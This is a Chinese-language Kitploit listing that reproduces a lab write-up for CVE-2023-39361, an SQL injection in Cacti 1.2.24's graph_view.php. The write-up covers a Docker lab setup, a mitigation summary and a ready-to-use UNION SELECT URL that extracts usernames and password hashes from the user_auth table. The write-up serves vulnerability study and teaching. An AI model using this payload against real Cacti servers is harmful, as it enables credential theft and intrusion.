Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-39361 — 针对Cacti 1.2.24版本中graph_view.php的SQL注入漏洞的概念验证利用代码,可导致远程代码执行,附带基于Docker的实验环境搭建及详细有效载荷示例。 | Kitploit
工具/GitHubGitHub/chodeokcheol/cve-2023-39361
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubchodeokcheol/cve-2023-39361

CVE-2023-39361

针对Cacti 1.2.24版本中graph_view.php的SQL注入漏洞的概念验证利用代码,可导致远程代码执行,附带基于Docker的实验环境搭建及详细有效载荷示例。

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Cacti graph_view.php 中的 SQL 注入导致 RCE [CVE-2023-39361]

[ WHS 3期 ] - 南基灿_7342 (ChoDeokCheol)


摘要

  • Cacti 1.2.24 服务器中,graph_view.php 文件的 grow_right_pane_tree 函数存在漏洞。
  • 当 action 参数设置为 tree_content 时,存在用户输入参数 rfilter。
  • rfilter 参数虽然通过 html_validate_tree_vars 函数进行验证,但该验证仅检查是否为有效的正则表达式。
  • 最终,rfilter 的值被插入到 SQL 查询中,从而可能实现代码注入。
  • 可以提取 id、username 等值(本 PoC 中使用)。

预设

  • 通过 docker-compose -v 检查 Docker Compose 是否安装及其版本。
  • 准备构建 CVE-2023-39361 所需的 Docker 组件(yml 或镜像等)。

环境搭建与运行

  • 使用 vulhub 中的 cacti/CVE-2023-39361/docker-compose.yml 和 entrypoint.sh。
  • 执行 docker compose up -d 构建 PoC 环境(镜像:cacti:1.2.24)。
  • 通过 yml 文件中设置的 localhost 地址 8080:80 搭建 Cacti 服务器。 docker poc 环境搭建 cacti 服务器搭建

漏洞 PoC

  • 该漏洞在认证设置中,若允许普通用户(guest)查看 graph,则会发生。

  • 该漏洞可通过以下参数输入进行验证:

    • %20OR%20""="((":典型的 SQL 注入代码,通过 OR 强制满足真条件。
    • %20UNION%20SELECT%:获取任意期望的结果。
    • (select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201):请求 id#username#password 值。
    • (select%20user()),(select%20version()):获取数据库用户/版本。
    • %23:由于是 #,后面的 SQL 语句被无效化。

http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23


结果

burpsuite 执行及响应 可以看到服务器按请求返回了响应。


总结

SQL 注入攻击通常发生在服务器交互过程中接收用户输入时。此次 SQL 注入攻击导致数据库内部机密性受到破坏,资产被泄露。针对该 SQL 注入的修复措施包括:检查 rfilter 的基础白名单值验证,或对特定字符(如 ", ', ; 等)进行转义处理;或者在进行数据库访问时使用类似 Doctrine 的 ORM 库进行改进。

下载工具